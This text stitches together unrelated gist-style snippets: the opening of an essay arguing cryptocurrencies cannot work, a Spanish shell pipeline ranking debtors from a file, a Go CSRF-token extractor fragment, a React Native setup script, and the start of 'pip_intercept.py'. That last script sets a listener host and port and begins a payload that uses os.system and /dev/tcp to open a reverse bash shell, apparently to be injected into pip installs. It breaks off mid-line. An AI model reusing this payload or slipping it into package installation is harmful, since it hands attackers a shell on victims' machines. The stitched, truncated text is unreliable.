joepie91

No, your cryptocurrency cannot work

Whenever the topic of Bitcoin's energy usage comes up, there's always a flood of hastily-constructed comments by people claiming that their favourite cryptocurrency isn't like Bitcoin, that their favourite cryptocurrency is energy-efficient and scalable and whatnot.

They're wrong, and are quite possibly trying to scam you. Let's look at why.

What is a cryptocurrency anyway?

There are plenty of intricate and complex articles trying to convince you that cryptocurrencies are the future. They usually heavily use jargon and vague terms, make vague promises, and generally give you a sense that there must be something there, but you always come away from them more confused than you were before.

pmolina

cat 24DSF.txt | grep -E "^(\s|\d){18}[3|4|5]" | cut -c8- | awk '{print substr($1,1,11) "\t" $2}' | sed "s/,/./g" | awk '{a[$1] += $2} END{for (i in a) print i, a[i]}' | sort -k 2 -n -r > mayores_deudores.txt

# cat 24DSF.txt
# Imprime en terminal el contenido del archivo.
# 
# grep -E "^(\s|\d){18}[3|4|5]"
# Trae parte de la línea que me interesa y se fija que haya deuda (3 situación "con problemas" hasta 5 "irrecuperable"), 0 no me interesa.
# IMPORTANTE: morosos importantes son 3|4|5. 
# 
# cut -c8-

empijei

package csrf

import "errors"

// This is just an example on how to reduce redundant code in Go
// Original file: https://github.com/gofiber/csrf/blob/dde96da6711a2cc01709a66730c2e16328b22047/main.go

// csrfFromExtractor returns a function can be used to bind to a parameter name to extract a csrf token from a Ctx.
func csrfFromExtractor(errMessage string, extractor func(c *fiber.Ctx, param string) string) func(string) func(c *fiber.Ctx) (string, error) {
	return func(param string) func(c *fiber.Ctx) (string, error) {

kosiara

# author:
# @Bartosz Kosarzycki
#

sudo apt-get install npm
sudo npm install -g react-native-cli
sudo ln -s /usr/bin/nodejs /usr/bin/node
cd /home/user/your/project/path
react-native init AwesomeProject
cd AwesomeProject

pip_intercept.py

# -*- coding: utf-8 -*-
#

import tempfile
import sys, os
import re

LHOST, LPORT = ('127.0.0.1', '4444')

PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;